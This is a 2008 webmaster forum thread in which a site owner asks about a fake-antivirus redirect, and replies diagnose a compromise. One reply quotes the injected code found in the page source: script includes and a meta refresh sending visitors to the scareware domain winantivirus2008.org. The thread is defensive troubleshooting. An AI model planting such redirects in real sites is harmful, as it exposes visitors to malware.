Help me with this faked security bug ( http://winantivirus2008.org )

Discussion in 'Site & Server Administration' started by Eurekaa, Aug 13, 2008.

  1. #1
    Eurekaa, Aug 13, 2008 IP
  2. gina.alessia

    gina.alessia Well-Known Member

    Messages:
    449
    Likes Received:
    9
    Best Answers:
    0
    Trophy Points:
    110
    #2
    1. try deleting all the cookies and files in "temporary internet files" folder.
    2. use a good spyware removal tool
     
    gina.alessia, Aug 13, 2008 IP
  3. Nigel Lew

    Nigel Lew Notable Member

    Messages:
    4,642
    Likes Received:
    406
    Best Answers:
    21
    Trophy Points:
    295
    #3
    That could be a few things.(man I love linux lol).

    That problem is bad news and will break everyones computer that does not fall for it. You need to check your files for strange things, or, its coming from an ad on your site.

    Nigel

    Edit: I was able to check your source code real quick. Here is your problem <script type="text/javascript" language="JavaScript1.2" src="stm31.js"></script>
    <meta http-equiv="Refresh" content="0; url=http://winantivirus2008.org/freescan/?id=68">
    <script type="text/javascript" language="JavaScript1.3" src="stm4.js"></script>

    hope that helps,
    Nigel

    EDIT again: I dont know what the java is doing per say(1st line of code). However, it appears that your site was hacked in order to add that stuff.
     
    Nigel Lew, Aug 13, 2008 IP
  4. pcallisto

    pcallisto Peon

    Messages:
    15
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    0
    #4
    This stuff can also be hidden in database records if your site is db driven, so be sure to check for oddities there as well. There was a bug in earlier versions of Wordpress that was exploited this way early this year.
     
    pcallisto, Aug 13, 2008 IP
  5. RectangleMan

    RectangleMan Notable Member

    Messages:
    2,825
    Likes Received:
    132
    Best Answers:
    0
    Trophy Points:
    210
    #5
    Yeah your site was compromised. You need to check file structure. Make sure you have your files set to 644 not 664. Also any scripts you run should be updated.
     
    RectangleMan, Aug 13, 2008 IP